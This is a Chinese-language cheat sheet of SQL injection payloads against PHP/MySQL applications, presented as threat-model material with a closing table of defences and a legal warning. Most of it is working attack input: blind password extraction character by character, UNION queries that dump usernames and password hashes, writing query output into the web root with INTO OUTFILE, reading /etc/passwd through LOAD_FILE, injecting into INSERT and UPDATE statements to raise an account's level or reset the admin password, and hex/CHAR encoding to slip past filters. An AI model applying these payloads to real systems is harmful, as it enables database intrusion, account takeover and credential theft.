本文整理常見 PHP + MySQL SQL 注入攻擊向量,供開發者理解威脅模型、驗證防禦措施有效性。僅供授權測試與防禦研究使用,嚴禁用於非法攻擊。
# 猜密碼長度
username=admin' AND LENGTH(password)=6--
# 逐字猜解 (LEFT/MID/SUBSTRING)
username=admin' AND LEFT(password,1)='a'--
username=admin' AND MID(password,2,1)='b'--
# 使用 ORD/ASCII 二分法加速
username=admin' AND ORD(MID(password,1,1))>100--
# 探測欄位數
id=1' UNION SELECT 1,1,1--
id=-1 UNION SELECT 1,1,1--
# 讀取用戶表 (前查詢需為假)
id=-1 UNION SELECT 1,username,password FROM users--
# 導出檔案 (需 FILE 權限、可寫目錄)
id=-1 UNION SELECT 1,username,password FROM users INTO OUTFILE '/var/www/html/dump.txt'--
# 原語句: INSERT INTO users VALUES ('', '$user', '$pass', '$homepage', '1')
# 構造 homepage: https://evil.com', '3')#
# 變為: ... VALUES ('', 'attacker', 'hash', 'https://evil.com', '3')#', '1')
# 原語句: UPDATE users SET pass='MD5($pass)', homepage='$hp' WHERE id='$id'
# 1. 提權 (構造 homepage)
homepage=https://site.com', level='3
# => UPDATE ... SET pass='...', homepage='https://site.com', level='3' WHERE id='...'
# 2. 修改管理員密碼 (構造 password)
password=newpass)' WHERE username='admin'#
# => UPDATE ... SET pass='MD5(newpass)' WHERE username='admin'# ...
# 3. 條件注入 (構造 id)
id=' OR username='admin'
# => UPDATE ... WHERE id='' OR username='admin'
利用十六進位或 CHAR() 編碼字串:
# 等同 WHERE username='admin'
username=0x61646D696E
username=CHAR(97,100,109,105,110)
# 猜密碼配合 CHAR()
userid=1 AND LEFT(password,1)=CHAR(109) # 'm'
userid=1 AND ORD(MID(password,1,1))>100
# 取得 DB 名、版本、用戶
id=-1 UNION SELECT 1,DATABASE(),VERSION()--
id=-1 UNION SELECT 1,USER(),CURRENT_USER()--
# 讀取檔案 (需 FILE 權限)
id=-1 UNION SELECT 1,LOAD_FILE(0x2F6574632F706173737764),3-- # /etc/passwd
# 1. 確定欄位數
id=-1 UNION SELECT 1,1,1--
# 2. 確定欄位型態 (字串型顯示 a, 數值型顯示 0)
id=-1 UNION SELECT CHAR(97),CHAR(97),CHAR(97)--
# 3. 猜表名
id=1 UNION SELECT 1,1,1 FROM admin--
id=1 UNION SELECT 1,1,1 FROM users--
| 層面 | 措施 | 關鍵函數/設定 |
|---|---|---|
| 程式碼 (根本) | 全面使用預處理語句 | PDO::prepare, mysqli_prepare, bind_param |
| 程式碼 (次要) | 整數強制轉型 | (int)$var, intval($var) |
| 程式碼 (次要) | 字串白名單驗證 + 長度限制 | preg_match, strlen |
| 資料庫 | 最小權限帳號 (無 FILE, GRANT, SUPER) | GRANT SELECT,INSERT,UPDATE,DELETE ON db.* TO user@localhost |
| PHP 設定 | 關閉錯誤顯示、開啟錯誤日誌 | display_errors=Off, log_errors=On |
| PHP 設定 | 禁用危險函數 (視需求) | disable_functions=exec,system,passthru,shell_exec,proc_open,popen,fsockopen... |
| 架構 | 部署 WAF (ModSecurity + OWASP CRS) | 偵測 UNION, SELECT, INTO OUTFILE, SLEEP, BENCHMARK 等特徵 |
| 架構 | 開啟 open_basedir 限制目錄存取 | open_basedir=/var/www/html:/tmp |
⚠️ 法律警告:未經書面授權對任何系統進行 SQL 注入測試、掃描或攻擊,均違反《刑法》電腦犯罪相關條款與《資通安全管理法》。請僅在自有或授權測試環境驗證。